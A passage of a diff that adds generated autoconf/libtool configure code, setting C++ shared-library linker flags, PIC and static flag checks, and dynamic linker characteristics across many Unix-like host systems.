+	  archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
+	  archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+      esac
+      ;;
+
+      sysv5* | sco3.2v5* | sco5v6*)
+	# Note: We can NOT use -z defs as we might desire, because we do not
+	# link with -lc, and that would cause any symbols used from libc to
+	# always be unresolved, which means just about no library would
+	# ever link correctly.  If we're not using GNU ld we use -z text
+	# though, which does catch some bad symbols but isn't as heavy-handed
+	# as -z defs.
+	no_undefined_flag_CXX='${wl}-z,text'
+	allow_undefined_flag_CXX='${wl}-z,nodefs'
+	archive_cmds_need_lc_CXX=no
+	hardcode_shlibpath_var_CXX=no
+	hardcode_libdir_flag_spec_CXX='${wl}-R,$libdir'
+	hardcode_libdir_separator_CXX=':'
+	link_all_deplibs_CXX=yes
+	export_dynamic_flag_spec_CXX='${wl}-Bexport'
+	runpath_var='LD_RUN_PATH'
+
+	case $cc_basename in
+          CC*)
+	    archive_cmds_CXX='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    ;;
+	  *)
+	    archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    ;;
+	esac
+      ;;
+
+      tandem*)
+        case $cc_basename in
+          NCC*)
+  	    # NonStop-UX NCC 3.20
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    ld_shlibs_CXX=no
+  	    ;;
+        esac
+        ;;
+
+      vxworks*)
+        # FIXME: insert proper C++ library support
+        ld_shlibs_CXX=no
+        ;;
+
+      *)
+        # FIXME: insert proper C++ library support
+        ld_shlibs_CXX=no
+        ;;
+    esac
+
+    echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5
+echo "${ECHO_T}$ld_shlibs_CXX" >&6
+    test "$ld_shlibs_CXX" = no && can_build_shared=no
+
+    GCC_CXX="$GXX"
+    LD_CXX="$LD"
+
+    ## CAVEAT EMPTOR:
+    ## There is no encapsulation within the following macros, do not change
+    ## the running order or otherwise move them around unless you know exactly
+    ## what you are doing...
+    # Dependencies to place before and after the object being linked:
+predep_objects_CXX=
+postdep_objects_CXX=
+predeps_CXX=
+postdeps_CXX=
+compiler_lib_search_path_CXX=
+
+cat > conftest.$ac_ext <<_LT_EOF
+class Foo
+{
+public:
+  Foo (void) { a = 0; }
+private:
+  int a;
+};
+_LT_EOF
+
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+  # Parse the compiler output and extract the necessary
+  # objects, libraries and library flags.
+
+  # Sentinel used to keep track of whether or not we are before
+  # the conftest object file.
+  pre_test_object_deps_done=no
+
+  # The `*' in the case matches for architectures that use `case' in
+  # $output_verbose_cmd can trigger glob expansion during the loop
+  # eval without this substitution.
+  output_verbose_link_cmd=`$ECHO "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
+
+  for p in `eval $output_verbose_link_cmd`; do
+    case $p in
+
+    -L* | -R* | -l*)
+       # Some compilers place space between "-{L,R}" and the path.
+       # Remove the space.
+       if test $p = "-L" ||
+          test $p = "-R"; then
+	 prev=$p
+	 continue
+       else
+	 prev=
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 case $p in
+	 -L* | -R*)
+	   # Internal compiler library paths should come after those
+	   # provided the user.  The postdeps already come after the
+	   # user supplied libs so there is no need to process them.
+	   if test -z "$compiler_lib_search_path_CXX"; then
+	     compiler_lib_search_path_CXX="${prev}${p}"
+	   else
+	     compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}"
+	   fi
+	   ;;
+	 # The "-l" case would never come before the object being
+	 # linked, so don't bother handling this case.
+	 esac
+       else
+	 if test -z "$postdeps_CXX"; then
+	   postdeps_CXX="${prev}${p}"
+	 else
+	   postdeps_CXX="${postdeps_CXX} ${prev}${p}"
+	 fi
+       fi
+       ;;
+
+    *.$objext)
+       # This assumes that the test object file only shows up
+       # once in the compiler output.
+       if test "$p" = "conftest.$objext"; then
+	 pre_test_object_deps_done=yes
+	 continue
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 if test -z "$predep_objects_CXX"; then
+	   predep_objects_CXX="$p"
+	 else
+	   predep_objects_CXX="$predep_objects_CXX $p"
+	 fi
+       else
+	 if test -z "$postdep_objects_CXX"; then
+	   postdep_objects_CXX="$p"
+	 else
+	   postdep_objects_CXX="$postdep_objects_CXX $p"
+	 fi
+       fi
+       ;;
+
+    *) ;; # Ignore the rest.
+
+    esac
+  done
+
+  # Clean up.
+  rm -f a.out a.exe
+else
+  echo "libtool.m4: error: problem compiling CXX test program"
+fi
+
+$RM -f confest.$objext
+
+# PORTME: override above test on systems where it is broken
+case $host_os in
+interix3*)
+  # Interix 3.5 installs completely hosed .la files for C++, so rather than
+  # hack all around it, let's just trust "g++" to DTRT.
+  predep_objects_CXX=
+  postdep_objects_CXX=
+  postdeps_CXX=
+  ;;
+
+solaris*)
+  case $cc_basename in
+  CC*)
+    # Adding this requires a known-good setup of shared libraries for
+    # Sun compiler versions before 5.6, else PIC objects from an old
+    # archive will be linked into the output, leading to subtle bugs.
+    postdeps_CXX='-lCstd -lCrun'
+    ;;
+  esac
+  ;;
+esac
+
+
+case " $postdeps_CXX " in
+*" -lc "*) archive_cmds_need_lc_CXX=no ;;
+esac
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    lt_prog_compiler_wl_CXX=
+lt_prog_compiler_pic_CXX=
+lt_prog_compiler_static_CXX=
+
+echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5
+echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6
+
+  # C++ specific cases for pic, static, wl, etc.
+  if test "$GXX" = yes; then
+    lt_prog_compiler_wl_CXX='-Wl,'
+    lt_prog_compiler_static_CXX='-static'
+
+    case $host_os in
+    aix*)
+      # All AIX code is PIC.
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	lt_prog_compiler_static_CXX='-Bstatic'
+      fi
+      ;;
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        # FIXME: we need at least 68020 code to build shared libraries, but
+        # adding the `-m68020' flag to GCC prevents building anything better,
+        # like `-m68040'.
+        lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4'
+      fi
+      ;;
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+    mingw* | os2* | pw32*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
+      ;;
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      lt_prog_compiler_pic_CXX='-fno-common'
+      ;;
+    *djgpp*)
+      # DJGPP does not support shared libraries at all
+      lt_prog_compiler_pic_CXX=
+      ;;
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	lt_prog_compiler_pic_CXX=-Kconform_pic
+      fi
+      ;;
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	;;
+      *)
+	lt_prog_compiler_pic_CXX='-fPIC'
+	;;
+      esac
+      ;;
+    *qnx* | *nto*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      lt_prog_compiler_pic_CXX='-fPIC -shared'
+      ;;
+    *)
+      lt_prog_compiler_pic_CXX='-fPIC'
+      ;;
+    esac
+  else
+    case $host_os in
+      aix4* | aix5*)
+	# All AIX code is PIC.
+	if test "$host_cpu" = ia64; then
+	  # AIX 5 now supports IA64 processor
+	  lt_prog_compiler_static_CXX='-Bstatic'
+	else
+	  lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp'
+	fi
+	;;
+      chorus*)
+	case $cc_basename in
+	cxch68*)
+	  # Green Hills C++ Compiler
+	  # _LT_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
+	  ;;
+	esac
+	;;
+      darwin*)
+        # PIC is the default on this platform
+        # Common symbols not allowed in MH_DYLIB files
+        case $cc_basename in
+          xlc*)
+          lt_prog_compiler_pic_CXX='-qnocommon'
+          lt_prog_compiler_wl_CXX='-Wl,'
+          ;;
+        esac
+        ;;
+      dgux*)
+	case $cc_basename in
+	  ec++*)
+	    lt_prog_compiler_pic_CXX='-KPIC'
+	    ;;
+	  ghcx*)
+	    # Green Hills C++ Compiler
+	    lt_prog_compiler_pic_CXX='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      freebsd* | kfreebsd*-gnu | dragonfly*)
+	# FreeBSD uses GNU C++
+	;;
+      hpux9* | hpux10* | hpux11*)
+	case $cc_basename in
+	  CC*)
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
+	    if test "$host_cpu" != ia64; then
+	      lt_prog_compiler_pic_CXX='+Z'
+	    fi
+	    ;;
+	  aCC*)
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
+	    case $host_cpu in
+	    hppa*64*|ia64*)
+	      # +Z the default
+	      ;;
+	    *)
+	      lt_prog_compiler_pic_CXX='+Z'
+	      ;;
+	    esac
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      interix*)
+	# This is c89, which is MS Visual C++ (no shared libs)
+	# Anyone wants to do a port?
+	;;
+      irix5* | irix6* | nonstopux*)
+	case $cc_basename in
+	  CC*)
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_static_CXX='-non_shared'
+	    # CC pic flag -KPIC is the default.
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      linux*)
+	case $cc_basename in
+	  KCC*)
+	    # KAI C++ Compiler
+	    lt_prog_compiler_wl_CXX='--backend -Wl,'
+	    lt_prog_compiler_pic_CXX='-fPIC'
+	    ;;
+	  icpc* | ecpc* )
+	    # Intel C++
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_pic_CXX='-KPIC'
+	    lt_prog_compiler_static_CXX='-static'
+	    ;;
+	  pgCC*)
+	    # Portland Group C++ compiler
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_pic_CXX='-fpic'
+	    lt_prog_compiler_static_CXX='-Bstatic'
+	    ;;
+	  cxx*)
+	    # Compaq C++
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    lt_prog_compiler_pic_CXX=
+	    lt_prog_compiler_static_CXX='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      lynxos*)
+	;;
+      m88k*)
+	;;
+      mvs*)
+	case $cc_basename in
+	  cxx*)
+	    lt_prog_compiler_pic_CXX='-W c,exportall'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      netbsd*)
+	;;
+      *qnx* | *nto*)
+        # QNX uses GNU C++, but need to define -shared option too, otherwise
+        # it will coredump.
+        lt_prog_compiler_pic_CXX='-fPIC -shared'
+        ;;
+      osf3* | osf4* | osf5*)
+	case $cc_basename in
+	  KCC*)
+	    lt_prog_compiler_wl_CXX='--backend -Wl,'
+	    ;;
+	  RCC*)
+	    # Rational C++ 2.4.1
+	    lt_prog_compiler_pic_CXX='-pic'
+	    ;;
+	  cxx*)
+	    # Digital/Compaq C++
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    lt_prog_compiler_pic_CXX=
+	    lt_prog_compiler_static_CXX='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      psos*)
+	;;
+      solaris*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.2, 5.x and Centerline C++
+	    lt_prog_compiler_pic_CXX='-KPIC'
+	    lt_prog_compiler_static_CXX='-Bstatic'
+	    lt_prog_compiler_wl_CXX='-Qoption ld '
+	    ;;
+	  gcx*)
+	    # Green Hills C++ Compiler
+	    lt_prog_compiler_pic_CXX='-PIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sunos4*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.x
+	    lt_prog_compiler_pic_CXX='-pic'
+	    lt_prog_compiler_static_CXX='-Bstatic'
+	    ;;
+	  lcc*)
+	    # Lucid
+	    lt_prog_compiler_pic_CXX='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+	case $cc_basename in
+	  CC*)
+	    lt_prog_compiler_wl_CXX='-Wl,'
+	    lt_prog_compiler_pic_CXX='-KPIC'
+	    lt_prog_compiler_static_CXX='-Bstatic'
+	    ;;
+	esac
+	;;
+      tandem*)
+	case $cc_basename in
+	  NCC*)
+	    # NonStop-UX NCC 3.20
+	    lt_prog_compiler_pic_CXX='-KPIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      vxworks*)
+	;;
+      *)
+	lt_prog_compiler_can_build_shared_CXX=no
+	;;
+    esac
+  fi
+
+case $host_os in
+  # For platforms which do not support PIC, -DPIC is meaningless:
+  *djgpp*)
+    lt_prog_compiler_pic_CXX=
+    ;;
+  *)
+    lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
+    ;;
+esac
+echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_CXX" >&5
+echo "${ECHO_T}$lt_prog_compiler_pic_CXX" >&6
+
+
+
+#
+# Check to make sure the PIC flag actually works.
+#
+if test -n "$lt_prog_compiler_pic_CXX"; then
+  echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5
+echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... $ECHO_C" >&6
+if test "${lt_prog_compiler_pic_works_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_prog_compiler_pic_works_CXX=no
+   ac_outfile=conftest.$ac_objext
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+   lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   # The option is referenced via a variable to avoid confusing sed.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:18653: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>conftest.err)
+   ac_status=$?
+   cat conftest.err >&5
+   echo "$as_me:18657: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s "$ac_outfile"; then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings other than the usual output.
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
+     $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+     if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
+       lt_prog_compiler_pic_works_CXX=yes
+     fi
+   fi
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_CXX" >&5
+echo "${ECHO_T}$lt_prog_compiler_pic_works_CXX" >&6
+
+if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then
+    case $lt_prog_compiler_pic_CXX in
+     "" | " "*) ;;
+     *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;;
+     esac
+else
+    lt_prog_compiler_pic_CXX=
+     lt_prog_compiler_can_build_shared_CXX=no
+fi
+
+fi
+
+
+
+#
+# Check to make sure the static flag actually works.
+#
+wl=$lt_prog_compiler_wl_CXX eval lt_tmp_static_flag=\"$lt_prog_compiler_static_CXX\"
+echo "$as_me:$LINENO: checking if $compiler static flag $lt_tmp_static_flag works" >&5
+echo $ECHO_N "checking if $compiler static flag $lt_tmp_static_flag works... $ECHO_C" >&6
+if test "${lt_prog_compiler_static_works_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_prog_compiler_static_works_CXX=no
+   save_LDFLAGS="$LDFLAGS"
+   LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
+   printf "$lt_simple_link_test_code" > conftest.$ac_ext
+   if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
+     # The linker can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     if test -s conftest.err; then
+       # Append any errors to the config.log.
+       cat conftest.err 1>&5
+       $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
+       $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+       if diff conftest.exp conftest.er2 >/dev/null; then
+         lt_prog_compiler_static_works_CXX=yes
+       fi
+     else
+       lt_prog_compiler_static_works_CXX=yes
+     fi
+   fi
+   $RM conftest*
+   LDFLAGS="$save_LDFLAGS"
+
+fi
+echo "$as_me:$LINENO: result: $lt_prog_compiler_static_works_CXX" >&5
+echo "${ECHO_T}$lt_prog_compiler_static_works_CXX" >&6
+
+if test x"$lt_prog_compiler_static_works_CXX" = xyes; then
+    :
+else
+    lt_prog_compiler_static_CXX=
+fi
+
+
+
+
+    echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5
+echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6
+if test "${lt_cv_prog_compiler_c_o_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_prog_compiler_c_o_CXX=no
+   $RM -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:18752: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&5
+   echo "$as_me:18756: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       lt_cv_prog_compiler_c_o_CXX=yes
+     fi
+   fi
+   chmod u+w . 2>&5
+   $RM conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files
+   $RM out/* && rmdir out
+   cd ..
+   $RM -r conftest
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_CXX" >&5
+echo "${ECHO_T}$lt_cv_prog_compiler_c_o_CXX" >&6
+
+
+
+    echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5
+echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6
+if test "${lt_cv_prog_compiler_c_o_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_prog_compiler_c_o_CXX=no
+   $RM -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:18804: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&5
+   echo "$as_me:18808: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       lt_cv_prog_compiler_c_o_CXX=yes
+     fi
+   fi
+   chmod u+w . 2>&5
+   $RM conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files
+   $RM out/* && rmdir out
+   cd ..
+   $RM -r conftest
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_CXX" >&5
+echo "${ECHO_T}$lt_cv_prog_compiler_c_o_CXX" >&6
+
+
+
+
+hard_links="nottested"
+if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then
+  # do not overwrite the value of need_locks provided by the user
+  echo "$as_me:$LINENO: checking if we can lock with hard links" >&5
+echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6
+  hard_links=yes
+  $RM conftest*
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  touch conftest.a
+  ln conftest.a conftest.b 2>&5 || hard_links=no
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  echo "$as_me:$LINENO: result: $hard_links" >&5
+echo "${ECHO_T}$hard_links" >&6
+  if test "$hard_links" = no; then
+    { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
+echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
+    need_locks=warn
+  fi
+else
+  need_locks=no
+fi
+
+
+
+    echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5
+echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6
+
+  export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  case $host_os in
+  aix4* | aix5*)
+    # If we're using GNU nm, then we don't want the "-C" option.
+    # -C means demangle to AIX nm, but means don't demangle with GNU nm
+    if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then
+      export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+    else
+      export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+    fi
+    ;;
+  pw32*)
+    export_symbols_cmds_CXX="$ltdll_cmds"
+  ;;
+  cygwin* | mingw*)
+    export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([^ ]*\) [^ ]*/\1 DATA/;/^I /d;/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  *)
+    export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  esac
+
+echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5
+echo "${ECHO_T}$ld_shlibs_CXX" >&6
+test "$ld_shlibs_CXX" = no && can_build_shared=no
+
+with_gnu_ld_CXX=$with_gnu_ld
+
+
+
+
+
+
+#
+# Do we need to explicitly link libc?
+#
+case "x$archive_cmds_need_lc_CXX" in
+x|xyes)
+  # Assume -lc should be added
+  archive_cmds_need_lc_CXX=yes
+
+  if test "$enable_shared" = yes && test "$GCC" = yes; then
+    case $archive_cmds_CXX in
+    *'~'*)
+      # FIXME: we may have to deal with multi-command sequences.
+      ;;
+    '$CC '*)
+      # Test whether the compiler implicitly links with -lc since on some
+      # systems, -lgcc has to come before -lc. If gcc already passes -lc
+      # to ld, don't add -lc before -lgcc.
+      echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5
+echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6
+      $RM conftest*
+      printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+      if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } 2>conftest.err; then
+        soname=conftest
+        lib=conftest
+        libobjs=conftest.$ac_objext
+        deplibs=
+        wl=$lt_prog_compiler_wl_CXX
+	pic_flag=$lt_prog_compiler_pic_CXX
+        compiler_flags=-v
+        linker_flags=-v
+        verstring=
+        output_objdir=.
+        libname=conftest
+        lt_save_allow_undefined_flag=$allow_undefined_flag_CXX
+        allow_undefined_flag_CXX=
+        if { (eval echo "$as_me:$LINENO: \"$archive_cmds_CXX 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1\"") >&5
+  (eval $archive_cmds_CXX 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+        then
+	  archive_cmds_need_lc_CXX=no
+        else
+	  archive_cmds_need_lc_CXX=yes
+        fi
+        allow_undefined_flag_CXX=$lt_save_allow_undefined_flag
+      else
+        cat conftest.err 1>&5
+      fi
+      $RM conftest*
+      echo "$as_me:$LINENO: result: $archive_cmds_need_lc_CXX" >&5
+echo "${ECHO_T}$archive_cmds_need_lc_CXX" >&6
+      ;;
+    esac
+  fi
+  ;;
+esac
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5
+echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6
+withGCC=$GXX
+library_names_spec=
+libname_spec='lib$name'
+soname_spec=
+shrext_cmds=".so"
+postinstall_cmds=
+postuninstall_cmds=
+finish_cmds=
+finish_eval=
+shlibpath_var=
+shlibpath_overrides_runpath=unknown
+version_type=none
+dynamic_linker="$host_os ld.so"
+sys_lib_dlsearch_path_spec="/lib /usr/lib"
+if test "$withGCC" = yes; then
+  sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+  if $ECHO "$sys_lib_search_path_spec" | $GREP ';' >/dev/null ; then
+    # if the path contains ";" then we assume it to be the separator
+    # otherwise default to the standard path separator (i.e. ":") - it is
+    # assumed that no part of a normal pathname contains ";" but that should
+    # okay in the real world where ";" in dirpaths is itself problematic.
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+  else
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+  fi
+else
+  sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
+fi
+need_lib_prefix=unknown
